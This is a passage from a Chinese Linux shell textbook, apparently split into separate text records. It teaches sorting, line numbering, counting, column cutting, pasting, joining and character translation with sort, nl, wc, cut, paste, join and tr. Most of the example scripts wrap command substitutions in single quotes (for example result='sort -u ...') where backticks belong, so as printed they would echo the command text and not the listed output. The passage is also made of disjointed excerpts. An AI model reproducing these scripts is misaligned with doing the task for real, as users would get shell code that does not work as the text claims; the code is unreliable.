    {"text": "为了演示sort命令删除重复行的方法，在demo5.txt文件中插入一条重复的行，内容如下： [root@linux chapter9]# cat demo5.txt Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 192 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 Boys_in_Company_C HK 192 2192 其中，第4行和第8行是重复的。 在下面的命令中，分别使用不含-u选项的sort命令和含有-u选项的sort命令对demo5.txt文件进行排序，其结果分别如下： [root@linux chapter9]# sort demo5.txt A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Aliens HK 532 4892 Boys_in_Company_C HK 192 2192 Boys_in_Company_C HK 192 2192 Star_Wars HK 301 4102 The_Hill KL 63 2972 Toy_Story HK 239 3972 [root@linux chapter9]# sort -u demo5.txt A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Aliens HK 532 4892 Boys_in_Company_C HK 192 2192 Star_Wars HK 301 4102 The_Hill KL 63 2972 Toy_Story HK 239 3972 对比两次执行的结果，可以发现，当没有使用-u选项时，sort命令不会去掉重复的行；"},
    {"text": "9.3.8 根据多个关键字排序 前面介绍的例子都是根据一个关键字排序，实际上，sort命令的功能远远不止如此。 用户可以在sort命令中同时指定多个关键字，sort命令会依次根据各个关键字来排序。 也就是说，如果同时指定了3个关键字，则sort命令会首先根据第1个关键字排序，如果遇到第1个关键字相同的情况，则会根据第2个关键字排序。 同理，如果前面两个关键字都相同，再根据第3个关键字排序，依此类推。 如果用户指定的关键字的值全部相同，sort命令会对整个文本行根据当前系统语言环境的排序规则进行排序。 使用多个关键字排序的语法如下： sort [option] -k pos1,pos2 -k pos3,pos4,... [file…] 也就是说，用户可以同时使用多个-k选项来定义多个排序关键字，这些关键字会依次作用于要排序的文本。 【 例9-28 】演示根据多个关键字排序的方法，代码如下： 01 #-----------------------------/chapter9/ex9-27.sh------------------ 02 #! /bin/bash 03 04 # 根据第 3 列的数值降序，第 4 列的数值升序排序 05 result='sort -k 3,3nr -k 4,4n demo6.txt' 06 07 echo \"$result\" 在上面的代码中，第5行定义的两个排序关键字分别为-k 3,3nr和-k 4,4n，前者表示根据第3列的数值降序排序，后者表示根据第4列的数值升序排序。 sort命令在处理文本时，会首先使用第1个关键字，在第1个关键字相同的情况下，再使用第2个关键字。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# cat demo6.txt Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 239 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 [root@linux chapter9]# ./ex9-27.sh Aliens HK 532 4892 A_Few_Good_Men KL 445 5851 Star_Wars HK 301 4102 Boys_in_Company_C HK 239 2192 Toy_Story HK 239 3972 Alien HK 119 1982 The_Hill KL 63 2972 在上面的【例9-28】中所定义的两个关键字都使用了修饰符，这些修饰符仅仅作用于所附加的关键字本身，并不影响其他的关键字。"},
    {"text": "为了能够使读者更加深入理解全局选项、修饰符与多个关键字之间的关系，下面给出了一些多个关键字的排序语句： sort -t : -k 2,2n -k 5.3,5.4 sort -t : -k 5b,5 -k 3,3n /etc/passwd sort -t : -n -k 5b,5 -k 3,3 /etc/passwd sort -t : -b -k 5,5 -k 3,3n /etc/passwd sort -s -t '.' -k 1,1n -k 2,2n -k 3,3n -k 4,4n 第1条语句只使用了修饰符，其作用是将冒号作为列分隔符，将第2列作为数值升序排序，然后再根据第5列的第3、4个字符升序排序。"},
    {"text": "第3条语句使用了全局选项-n，由于第1个关键字已经有一个修饰符b，所以sort命令会认为第1个关键字不再需要修饰符，只将-n选项作用于第2个关键字-k 3,3。"},
    {"text": "9.3.9 使用sort命令合并文件 使用sort命令可以很方便地合并多个文件，同时将文本文件的内容进行排序。 当使用sort命令合并文件时，其基本语法如下： sort file1 file2 … 其中file1、file2等表示要合并的文件的文件名，这些文件名之间用空格隔开。 sort命令会根据指定的顺序依次将各个文件的内容合并。 【 例9-29 】演示了使用默认选项合并两个文件，代码如下： 01 #-----------------------------/chapter9/ex9-28.sh------------------ 02 #! /bin/bash 03 04 # 合并文件并输出磁盘文件 05 result='sort demo5.txt demo6.txt > result.txt' 06 07 cat result.txt 在上面的代码中，第5行将demo5.txt和demo6.txt这个两个文件有序地合并在一起，并且通过重定向输出到文件中。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-28.sh A_Few_Good_Men KL 445 5851 A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Alien HK 119 1982 Aliens HK 532 4892 Aliens HK 532 4892 Boys_in_Company_C HK 192 2192 Boys_in_Company_C HK 239 2192 Star_Wars HK 301 4102 Star_Wars HK 301 4102 The_Hill KL 63 2972 The_Hill KL 63 2972 Toy_Story HK 239 3972 Toy_Story HK 239 3972 从上面的执行结果可以得知，合并后的文件是有序的，文件的内容是按照sort命令默认的排序规则排序的。 另外，这两个文件有许多重复的行，如果想要去掉重复的行，可以使用sort命令的-u选项，将代码中的第4行进行以下修改： result='sort -u demo5.txt demo6.txt > result.txt' 修改后的【例9-29】的执行结果如下： [root@linux chapter9]# ./ex9-28.sh A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Aliens HK 532 4892 Boys_in_Company_C HK 192 2192 Boys_in_Company_C HK 239 2192 Star_Wars HK 301 4102 The_Hill KL 63 2972 Toy_Story HK 239 3972 如果用户只想将两个文件合并，不想要执行排序处理，可以使用sort命令的-m选项。 将【例9-29】中的第4行改成以下代码： result='sort -m demo5.txt demo6.txt > result.txt' 修改后的程序的执行结果如下： [root@linux chapter9]# ./ex9-28.sh Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 192 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 239 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 9.4 文本的统计 在Shell编程中，文本的统计也非常重要。"},
    {"text": "如图9-11所示的是Eclipse的编辑界面，从图中可以看到在每一行代码的前面都有一个行号对应。 图9-11 Eclipse的编辑界面 在Shell中，有许多命令都可以输出行号，其中包括cat、grep及wc等。"},
    {"text": "[root@linux chapter9]# cat -n ex9-1.sh 1 #! /bin/bash 2 3 echo -n \"What is your first name? \" 4 read first 5 echo -n \"What is your last name? \" 6 read last 7 echo -n \"What is your middle name? \" 8 read middle 9 echo -n \"What is your birthday? \" 10 read birthday 从上面的输出结果可以得知，文件ex9-1.sh一共有10行。"},
    {"text": "[root@linux chapter9]# grep -n \"\" ex9-1.sh 1:#! /bin/bash 2: 3:echo -n \"What is your first name? \" 4:read first 5:echo -n \"What is your last name? \" 6:read last 7:echo -n \"What is your middle name? \" 8:read middle 9:echo -n \"What is your birthday? \" 10:read birthday 在上面的输出结果中，每一行的前面都有行号，行号与文本行之间用冒号隔开。"},
    {"text": "除了前面介绍的几个命令之外，Shell还提供了一个名称为nl的命令，用来为文本添加行号，其基本语法如下： nl [option]... [file]... nl命令的常用选项如下所列。"},
    {"text": "【 例9-30 】演示使用nl命令为文本添加行号的方法，代码如下： 01 #-----------------------------/chapter9/ex9-29.sh------------------ 02 #! /bin/bash 03 04 # 为文本添加行号，并输出到文件 05 nl -b a ex9-1.sh > textwithlineno.txt 06 07 cat textwithlineno.txt 该程序的执行结果如下： [root@linux chapter9]# ./ex9-29.sh 1 #! /bin/bash 2 3 echo -n \"What is your first name? \" 4 read first 5 echo -n \"What is your last name? \" 6 read last 7 echo -n \"What is your middle name? \" 8 read middle 9 echo -n \"What is your birthday? \" 10 read birthday 注意： 如果不使用-b a选项，则nl命令只编号非空行。"},
    {"text": "【 例9-31 】演示使用grep命令统计记录数，代码如下： 01 #-----------------------------/chapter9/ex9-30.sh------------------ 02 #! /bin/bash 03 04 echo -n \"Please input a name:\" 05 # 读取用户输入数据 06 read name 07 08 while [ $name != \"e\" ] 09 do 10 # 统计含有用户输入数据的行数 11 quantity='grep -c \"$name\" demo5.txt' 12 echo \"$quantity records contains $name.\" 13 echo -n \"Please input a name:\" 14 read name 15 done 上面的程序类似于关系型数据库的查询操作。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-30.sh Please input a name:a 2 records contains a. Please input a name: A 3 records contains A. Please input a name: C 1 records contains C. Please input a name: e [root@linux chapter9]# wc命令是Shell中用来对文本进行各种统计的命令，其基本语法如下： wc [option]... [file]... 其中，wc命令常用的选项如下所列。"},
    {"text": "如果想要统计某个文件的行数，可以使用以下命令： [root@linux chapter9]# wc -l ex9-1.sh 10 ex9-1.sh 上面的命令使用-l选项统计ex9-1.sh文件的行数，得到的结果为10行。"},
    {"text": "下面为读者介绍一个小技巧，那就是去掉wc-l命令中的文件名，只得到行数。 【 例9-32 】演示通过-l选项来统计文本文件的行数，代码如下： 01 #-----------------------------/chapter9/ex9-31.sh------------------ 02 #! /bin/bash 03 04 # 统计文本行数 05 lines='cat ex9-1.sh | wc -l' 06 07 echo \"the file has $lines lines.\" 在上面代码的第5行，首先使用cat命令显示文件的内容，然后通过管道将结果输出给wc–l命令，并且将得到结果赋给变量lines。 该程序的执行结果如下： [root@linux chapter9]# ./ex9-31.sh the file has 10 lines. 除了直接统计文本的行数之外，wc命令还有许多其他的用法，在下面的例子中，我们通过find命令和wc命令，来统计查找到的文件数。 【 例9-33 】使用find结合wc命令来统计/etc目录下面以.conf为扩展名的文件的数量，代码如下： 01 #-----------------------------/chapter9/ex9-32.sh------------------ 02 #! /bin/bash 03 04 # 统计 /etc 目录下面有多少个以 conf 为扩展名的文件 05 count='find /etc -name \"*.conf\" | wc -l' 06 07 echo \"$count files have been found.\" 在上面的代码中，第5行首先使用find命令查找/etc目录下面以.conf为扩展名的文件列表。"},
    {"text": "【 例9-34 】使用cat命令配合wc命令来取得文件中的单词的数量和字符数量，代码如下： 01 #-----------------------------/chapter9/ex9-33.sh------------------ 02 #! /bin/bash 03 04 # 统计单词数，只取得数量 05 words='cat demo1.txt | wc -w' 06 07 echo \"there are $words words in file demo1.txt\" 08 # 统计字符数 09 chars='cat demo1.txt | wc -m' 10 11 echo \"there are $chars characters in file demo1.txt\" 在上面的代码中，第5行使用cat命令显示文件内容，然后再使用wc –w命令统计单词数，这两者之间用管道连接起来。"},
    {"text": "该程序的输出结果如下： [root@linux chapter9]# ./ex9-33.sh there are 89 words in file demo1.txt there are 528 characters in file demo1.txt 注意： wc命令的执行结果会随着系统的区域设置不同而不同。"},
    {"text": "而cut命令则是从垂直方向上对文本进行操作。 本节将介绍如何使用cut命令操作文本列。 9.5.1 cut命令及其语法 在进行文本处理的时候，经常会遇到选择某个文件的某些列的情况。"},
    {"text": "如图9-12所示，描述了cut命令的工作原理。 图9-12 cut命令的工作原理 cut命令的基本语法如下： cut option... [file]... 在上面的语法中，option表示选项，cut命令常用的选项如下所列。"},
    {"text": "9.5.2 选择指定的文本列 选取指定的文本列需要使用cut命令的-f选项，该选项接收一个文本列的列表，cut命令会从文本文件中选择列表中列出的列。"},
    {"text": "某个系统中passwd文件的内容如下： [root@linux chapter9]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin … 在9.3.6节中，已经介绍过passwd文件的各个列的涵义。"},
    {"text": "【 例9-35 】演示如何通过cut命令从passwd文件中选择某些列，代码如下： 01 #-----------------------------/chapter9/ex9-34.sh------------------ 02 #! /bin/bash 03 04 # 自定义分隔符为冒号，选择第 1 列和第 6 列 05 result='cut -d \":\" -f 1,6 passwd' 06 07 echo \"$result\" 在上面的代码中，第5行使用-d选项指定列的分隔符为冒号，然后使用-f选项指定要选择的列为第1列和第6列。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-34.sh root:/root bin:/bin daemon:/sbin adm:/var/adm … 在passwd文件中，第1列为用户的登录名，第6列为用户的主目录。"},
    {"text": "例如，要选择第1～3列，可以将【例9-35】中的第5行修改为以下语句： result='cut -d \":\" -f 1-3 passwd' 如果要选择从第3列开始，一直到文本行的结尾，则可以使用以下语句： result='cut -d \":\" -f 3- passwd' 也就是说，省略连字符后面的终止列的列号。"},
    {"text": "9.5.3 选择指定数量的字符 除了从文本中选择列之外，用户还可以通过cut命令从每一行中选择指定数量的字符。 在选择字符时，cut命令的语法如下： cut -c list 其中，-c选项表示选择字符（character）。"},
    {"text": "list参数表示要选择的范围，可以是以下语法形式： 1-4,6 3,5,8 -4,8 3- 在上面的语法中，第1行表示选择每行的第1～4个字符和第6个字符，第2行表示选择第3、5和8列，第3行表示选择第1～4列和第8列，第4行表示选择从第3列开始一直到行尾。"},
    {"text": "【 例9-36 】演示通过cut命令从文本文件中选择指定列的方法，代码如下： 01 #-----------------------------/chapter9/ex9-35.sh------------------ 02 #! /bin/bash 03 04 # 选择指定的列 05 result='cut -c1-3,5 passwd' 06 07 echo \"$result\" 在上面的代码中，第5行的语句表示选择每个文本行的第1～3列和第5列。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-35.sh roo: binx daeo admx lp:: syn: shud … 注意： 由于选择字符是将整个文本行看做一个字符串进行的，所以不需要也不能指定列分隔符。"},
    {"text": "9.5.4 排除不包含列分隔符的行 在某些情况下，用户的数据文件可能会存在错误的数据行。 这些错误的数据行在格式上与正确的数据行有所区别，例如不包含正确的列分隔符。 cut命令的-s选项可以帮助用户排除掉这些不包含正确列分隔符的行。 为了演示排除不包含列分隔符的行的方法，我们在passwd文件的末尾追加一条记录，如下所示。"},
    {"text": "[root@linux chapter9]# cat passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin … user 在上面的最后一行只包含一个单词user。 【 例9-37 】分别使用不含-s选项的cut命令和含有-s选项的cut命令来提取passwd文件的第1列，代码如下： 01 #-----------------------------/chapter9/ex9-36.sh------------------ 02 #! /bin/bash 03 04 # 提取所有行的第 1 列 05 cut -d \":\" -f 1 passwd > allusers.txt 06 echo \"all users:\" 07 # 显示所有的行 08 cat allusers.txt 09 # 只提取正确的行 10 cut -s -d \":\" -f 1 passwd > validusers.txt 11 echo \"valid users:\" 12 # 显示所有正确的行 13 cat validusers.txt 该程序的执行结果如下： [root@linux chapter9]# ./ex9-36.sh all users: root bin … user valid users: root bin … openvpn_as 从上面的执行结果可以得知，当不使用-s选项时，cut命令会输出所有的文本行；"},
    {"text": "在使用-s选项之后，cut命令只输出了被正确的列分隔符分隔的行。 注意： 只要文本行中含有一个列分隔符，都会被含有-s选项的cut命令输出。"},
    {"text": "Linux中的paste命令就是实现这个功能的，本节将介绍如何使用paste命令来处理文本文件。 9.6.1 paste命令及其语法 前面介绍的cut命令可以将文本文件纵向分隔，使得原来文件的某些列重新生成一个新的文件。"},
    {"text": "paste命令的工作原理如图9-13所示。 图9-13 paste命令的工作原理 在图9-13中，文件1包含3列，文件2包含4列，这两个文件都含有14行。"},
    {"text": "-s：将多个文件串行地拼接在一起，即将后面文件的内容追加到前面一个文件的后面。 其中，-s选项表示将各个文件依次连接在一起。 也就是说，将后面一个文件的文本行追加在前面一个文件的内容的后面。"},
    {"text": "为了学习paste命令的使用方法，用户需要首先准备两个文件，其文件名分别为students.txt和phones.txt。 其中，前者存储学生的学号和姓名，后者存储学生的学号和电话号码，如下： [root@linux chapter9]# cat students.txt 200200110 Abdul 200200164 Abram 200200167 Bartley 200200168 Bennett 200200172 Cecil 200200173 John 200200187 Cat [root@linux chapter9]# cat phones.txt 200200110 13611499594 200200164 13682239867 200200167 13710153203 200200168 13622259071 200200172 13430324699 200200179 13640656767 【 例9-38 】通过paste命令和重定向将students.txt和phones.txt这两个文件拼接起来，代码如下： 01 #-----------------------------/chapter9/ex9-37.sh------------------ 02 #! /bin/bash 03 04 # 拼接 2 个文件，并输出到磁盘文件 05 paste students.txt phones.txt > contactinfo.txt 06 07 # 显示拼接结果 08 cat contactinfo.txt 在上面的代码中，第5行使用paste命令将students.txt和phones.txt这两个文件依次拼接在一起，并且使用制表符作为列分隔符，最后将拼接结果输出到名称为students.txt的文件中。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-37.sh 200200110 Abdul 200200110 13611499594 200200164 Abram 200200164 13682239867 200200167 Bartley 200200167 13710153203 200200168 Bennett 200200168 13622259071 200200172 Cecil 200200172 13430324699 200200173 John 200200179 13640656767 200200187 Cat 从上面的执行结果可以得知，以上两个文件的每一行都并行地拼接在一起，其中第1个文件的所有行成为新文件的第1、2列，第2个文件的所有行成为新文件的第3、4列。"},
    {"text": "由于students.txt文件的行数多于phones.txt文件的行数，所以在最后一行中，只出现了students.txt文件中的行所产生的前两列，而后面的两列为空白。"},
    {"text": "例如，在上面的拼接结果中，尽管students.txt文件中的第6行的学号为200200173，phones.txt文件的第6行的学号为200200179，但是paste命令仍然只是机械地将这两行拼接在一起。"},
    {"text": "【 例9-39 】使用逗号作为paste命令拼接结果的列分隔符，代码如下： 01 #-----------------------------/chapter9/ex9-38.sh------------------ 02 #! /bin/bash 03 04 # 自定义列分隔符 05 paste -d \",\" students.txt phones.txt > contactinfo.txt 06 07 cat contactinfo.txt 该程序的执行结果如下： [root@linux chapter9]# ./ex9-38.sh 200200110 Abdul,200200110 13611499594 200200164 Abram,200200164 13682239867 200200167 Bartley,200200167 13710153203 200200168 Bennett,200200168 13622259071 200200172 Cecil,200200172 13430324699 200200173 John,200200179 13640656767 200200187 Cat, 9.6.3 拼接指定的文本列 paste命令并不直接支持只选择文件中的某些列来拼接。"},
    {"text": "在这里介绍两种方法，第一种就是先使用cut命令将需要的列从各个文件中提取出来，然后再使用paste命令进行拼接； 第二种的顺序恰好相反，先使用paste命令进行拼接各个文件，然后再使用cut命令从生成的文件中提取所需要的列。"},
    {"text": "【 例9-40 】通过cut命令和重定向将students.txt的第1列和phones.txt的第2列拼接起来，并且去掉其他列，代码如下： 01 #-----------------------------/chapter9/ex9-39.sh------------------ 02 #! /bin/bash 03 04 # 选择 students.txt 文件的第 1 列 05 cut -f1 students.txt > students.tmp 06 07 # 选择 phones.txt 文件的第 2 列 08 cut -f2 phones.txt > phones.tmp 09 10 # 将生成的 2 个临时文件拼接 11 paste students.tmp phones.tmp > contactinfo.txt 12 13 # 输出拼接结果 14 cat contactinfo.txt 在上面的代码中，第5行和第8行分别提取students.txt文件的第1列和phones.txt文件的第2列，各自生成一个临时文件。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-39.sh 200200110 13611499594 200200164 13682239867 200200167 13710153203 200200168 13622259071 200200172 13430324699 200200173 13640656767 200200187 【 例9-41 】先通过paste命令连接2个文件，然后再通过cut命令提取指定数据列，代码如下： 01 #-----------------------------/chapter9/ex9-40.sh------------------ 02 #! /bin/bash 03 04 # 先将 2 个文件拼接 05 paste students.txt phones.txt > contactinfo.tmp 06 # 再从拼接结果中选择第 1 和 3 列 07 cut -f1,3 contactinfo.tmp > contactinfo.txt 08 # 输出拼接结果 09 cat contactinfo.txt 【 例9-41 】的执行结果与【例9-40】完全相同，请读者自行验证。"},
    {"text": "在Shell中，用户可以使用join命令来解决这个问题。 本节将介绍join命令的使用方法。 9.7.1 join命令及其语法 join命令是一个非常有趣的Shell命令。"},
    {"text": "join命令就是用来联接这些文本文件中的数据行的，它是根据参与联接的两个文本文件的公共列来联接数据行。 其基本语法如下： join [option]... file1 file2 在上面的语法中，option表示join命令的相关选项，常用的选项如下所列。"},
    {"text": "-1 field：根据第1个文件的指定列进行联接。 其中参数field用来指定第1个文件中用来联接的关键字列。 -2：field：根据第2个文件的指定列进行联接。 其中参数field用来指定第2个文件中用来联接的关键字列。"},
    {"text": "在上面的选项中，其中-a选项用来指定是否需要输出参与联接的两个文件中的不匹配的文本行，该选项可以取1或者2，当取值为1时，表示输出第1个文件中的所有的文本行，包括关键字不匹配的行；"},
    {"text": "最简单的join命令的使用方法就是不带任何选项，下面首先从最简单的join命令开始介绍。 【 例9-42 】演示最简单的join命令的使用方法，代码如下： 01 #-----------------------------/chapter9/ex9-41.sh------------------ 02 #! /bin/bash 03 04 # 使用默认选项联接 2 个文件 05 result='join students.txt phones.txt > contactinfo.txt' 06 07 cat contactinfo.txt 在上面的代码中，第5行使用join命令将students.txt和phones.txt文件联接起来并且输出到磁盘文件contactinfo.txt中。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-41.sh 200200110 Abdul 13611499594 200200164 Abram 13682239867 200200167 Bartley 13710153203 200200168 Bennett 13622259071 200200172 Cecil 13430324699 用户可以对比【例9-38】和【例9-42】的输出结果。"},
    {"text": "首先，paste命令输出两个文件中的所有的列，而默认情况下，join命令对于两个文件中共同的列只输出1次。 其次，paste命令只是根据文本行在文件中出现的顺序进行拼接，并不考虑关键字列，因此，students.txt文件中的第6行和phones.txt文件中的第6行会拼接在一起。 而join命令则会比较关键字列，只将关键字相同的行进行联接，因此，【例9-42】只输出了5行。"},
    {"text": "9.7.2 指定联接关键字列 在默认情况下，join命令会将两个文件的第1列作为关键字列进行比较。 因此，在【例9-40】中，尽管用户并没有明确指定关键字列，但是join命令仍然将students.txt和phones.txt这两个文件的第1列作为关键字列进行比较。"},
    {"text": "用户还可以使用-1或者-2选项分别用做关键字的列。 其中，-1代表从第1个文件中指定关键字列，-2代表从第2个文件中指定关键字列。"},
    {"text": "新创建一个名称为scores.txt的文件文件，其内容如下： [root@linux chapter9]# cat scores.txt 1 200200110 78 1 200200164 78 2 200200167 92 3 200200168 87 4 200200172 65 其中，第1列为记录号，第2列为学号，第3列为分数。 由于在scores.txt文件中，学号并不位于第1列，所以不能使用默认的join命令来联接students.txt和scores.txt这两个文件。"},
    {"text": "【 例9-43 】使用-1和-2选项来指定关键字列，代码如下： 01 #-----------------------------/chapter9/ex9-42.sh------------------ 02 #! /bin/bash 03 04 # 指定 students.txt 的第 1 列和 scores.txt 文件的第 2 列作为列关键字 05 result='join -1 1 -2 2 students.txt scores.txt > studentsscores.txt' 06 07 cat studentsscores.txt 其中第5行通过-1选项指定文件students.txt的关键字列为第1列，通过-2指定文件phones.txt的关键字为第2列，然后将联接结果输出到studentsscores.txt文件中。 该程序的执行结果如下： [root@linux chapter9]# ./ex9-42.sh 200200110 Abdul 1 78 200200164 Abram 1 78 200200167 Bartley 2 92 200200168 Bennett 3 87 200200172 Cecil 4 65 在上面的输出结果中，前面两列来自students.txt文件，后面两列来自于scores.txt文件。 join命令将students.txt文件的第1列与scores.txt文件的第2列相同的行联接在一起。"},
    {"text": "如图9-14所示，描述了内联接的原理，在图9-14中，左边的圆代表第1个文件的行，右边的圆代表第2个文件的行，中间的阴影代表内联接的结果，表示只有关键字匹配的文本行才会出现在结果中。"},
    {"text": "例如，在students.txt文件中存在着200200173和200200187这两个关键字，在phones.txt文件中存在着200200179关键字，这3个关键字没有匹配成功，所以这3行全部都被忽略。"},
    {"text": "图9-14 内联接文本文件 图9-15 左联接文本文件 9.7.4 左联接文本文件 所谓左联接，是指在联接结果中输出左边文件的所有行，即使在右边的文件中没有匹配的行。"},
    {"text": "如图9-15所示，描述了左联接文本文件的原理，在图9-15中，左右两个圆分别代表参与联接的两个文件，阴影部分代表左联接的结果，从图中可以看出，左边文件的所有行都包含在输出结果中。 在join命令中，要实现左联接，可以使用以下语法： join -a 1 filenum file1 file2 其中，选项-a1表示显示第1个文件的所有的行，无论是否匹配成功。 【 例9-44 】演示通过join命令左联接文件的方法，代码如下： 01 #-----------------------------/chapter9/ex9-43.sh------------------ 02 #! /bin/bash 03 04 # 左联接文件 05 result='join -a 1 students.txt phones.txt > contactinfo.txt' 06 07 cat contactinfo.txt 在上面的代码中，第5行的join命令使用了-a 1选项，表示列出student.txt文件的所有的行。"},
    {"text": "程序的执行结果如下： [root@linux chapter9]# ./ex9-43.sh 200200110 Abdul 13611499594 200200164 Abram 13682239867 200200167 Bartley 13710153203 200200168 Bennett 13622259071 200200172 Cecil 13430324699 200200173 John 200200187 Cat 从上面的执行结果可以得知，students.txt文件中的所有的7行全部被输出，其中第6、7行在phones.txt文件中没有相应的学号，所以这2行的第3列为空白。"},
    {"text": "9.7.5 右联接文本文件 右联接的原理与左联接恰好相反，它是将右边文件的所有的行全部显示出来，而在匹配不成功的行中，由左边文件形成的列使用空白填充。"},
    {"text": "通过图9-16可以看出，右联接的结果中包含了文件2的所有行，而对于文件1来说，仅仅包含了匹配成功的行。 图9-16 右联接文本文件 右联接文本文件的语法如下： join -a 2 filenum file1 file2 其中，-a2表示输出第2个文件的所有的行。 【 例9-45 】演示通过join命令右联接文本文件的方法，代码如下： 01 #-----------------------------/chapter9/ex9-44.sh------------------ 02 #! /bin/bash 03 04 # 右联接文件 05 result='join -a 2 students.txt phones.txt > contactinfo.txt' 06 07 cat contactinfo.txt 在上面的代码中，第5行的join命令使用了-a 2选项，表示输出第2个文件的所有的行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-44.sh 200200110 Abdul 13611499594 200200164 Abram 13682239867 200200167 Bartley 13710153203 200200168 Bennett 13622259071 200200172 Cecil 13430324699 200200179 13640656767 由于最后1行在phones.txt中只有学号和电话号码，而在students.txt文件中没有姓名，所以第2列为空白。"},
    {"text": "同样，对于第1个文件中的关键字匹配不成功的行，由第2个文件形成的列通过空白填充； 反之，对于第2个文件中的关键字匹配不成功的行，由第1个文件形成的列也通过空白填充。"},
    {"text": "如图9-17所示，描述了全联接的原理，图中阴影代表全联接的结果，可以看出全联接的结果中包含了两个文件中的所有的行。 图9-17 全联接文本文件 全联接文本文件的语法如下： join -a 1 -a 2 filenum file1 file2 在上面的语法中，同时使用了-a1和-a2这两个选项，表示输出第1个和第2个文件的所有的行。 【 例9-46 】演示使用join命令通过全联接来联接两个文本文件的方法，代码如下： 01 #-----------------------------/chapter9/ex9-45.sh------------------ 02 #! /bin/bash 03 04 # 全联接文本文件 05 result='join -a 1 -a 2 students.txt phones.txt > contactinfo.txt' 06 07 cat contactinfo.txt 该程序的执行结果如下： [root@linux chapter9]# ./ex9-45.sh 200200110 Abdul 13611499594 200200164 Abram 13682239867 200200167 Bartley 13710153203 200200168 Bennett 13622259071 200200172 Cecil 13430324699 200200173 John 200200179 13640656767 200200187 Cat 注意： 在进行全联接时，选项-a1-a2不能写在一个-a选项中，只能重复使用两个-a选项。 9.7.7 自定义输出列 在默认情况下，join命令会输出参与联接的两个文件的所有的列。"},
    {"text": "-o选项可以接受一个字段的列表，其语法如下： filenum.filed 其中，filenum表示文件号，可以取值为1或者2，分别代表第1个和第2个文件。"},
    {"text": "【 例9-47 】演示使用join命令的-o选项自定义输出列的方法，代码如下： 01 #-----------------------------/chapter9/ex9-46.sh------------------ 02 #! /bin/bash 03 04 # 联接文件，并指定输出列的清单 05 result='join -1 1 -2 2 -o 1.1 1.2 2.3 students.txt scores.txt > studentsscores.txt' 06 07 cat studentsscores.txt 在上面代码的第5行，指定输出的列包括第1个文件的第1、2列和第2个文件的第3列。"},
    {"text": "该文件的执行结果如下： [root@linux chapter9]# ./ex9-46.sh 200200110 Abdul 78 200200164 Abram 78 200200167 Bartley 92 200200168 Bennett 87 200200172 Cecil 65 从上面的执行结果可以得知，scores.txt文件中的记录号已经被省略了。"},
    {"text": "-t：将字符集set1用set2转换。 参数set1和set2分别表示参与操作的两个字符集，其中set1用于查询，set2用于处理各种转换操作。 也就是说，凡是在字符集set1中出现的字符，都将被替换为字符集set2中相应位置上的字符。"},
    {"text": "[:print:]：所有可打印的字符，包含空格。 [:punct:]：所有标点字符。 [:space:]：所有水平与垂直空格符。 [:upper:]：所有大写字母。"},
    {"text": "9.8.2 去除重复出现的字符 使用tr命令，可以快速地将文本中连续出现多个相同的字符压缩为一个字符。 例如在下面的demo9.txt文件中，就存在着许多由于输入错误导致的重复字符： [root@linux chapter9]# cat demo9.txt Windows RT is a new Windows-based operating systemmmmmmmmmmm that's optimized for thin and ligggggggggggggggggggggggggght PCs that have extended battery life and are designed for life on the go. 对于上面的语法错误，人工删除非常麻烦，下面介绍如何通过tr命令去掉连续的重复字符。 【 例9-48 】使用tr命令删除多余的重复字符，代码如下： 01 #-----------------------------/chapter9/ex9-47.sh------------------ 02 #! /bin/bash 03 04 # 压缩重复字符 05 result='tr -s \"[a-z]\" < demo9.txt' 06 07 echo \"$result\" 在上面的代码中，由于tr命令不直接接受文件作为参数，所以第5行使用了输入重定向将文本文件demo9.txt的内容输入到tr命令。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-47.sh Windows RT is a new Windows-based operating system that's optimized for thin and light PCs that have extended batery life and are designed for life on the go. 从上面的输出结果可以得知，多余的字符已经被全部删除。"},
    {"text": "9.8.3 删除空行 有的文本中，会存在许多空行。 所谓空行，是指只含有换行符，除此之外不含有任何其他字符的行。 在下面的demo9.txt文件中，除了两行文本之外，其他所有的行都是空行，如下所示。"},
    {"text": "[root@linux chapter9]# cat demo10.txt Hello, world. I love Linux. 【 例9-49 】使用tr命令快速删除demo9.txt文件中多余的空行，代码如下： 01 #-----------------------------/chapter9/ex9-48.sh------------------ 02 #! /bin/bash 03 04 # 删除空白行 05 result='cat demo10.txt | tr -s [\"\\n\"]' 06 07 echo \"$result\" 其中第5行使用cat命令来显示文件内容，然后通过管道将结果输出到tr命令。"},
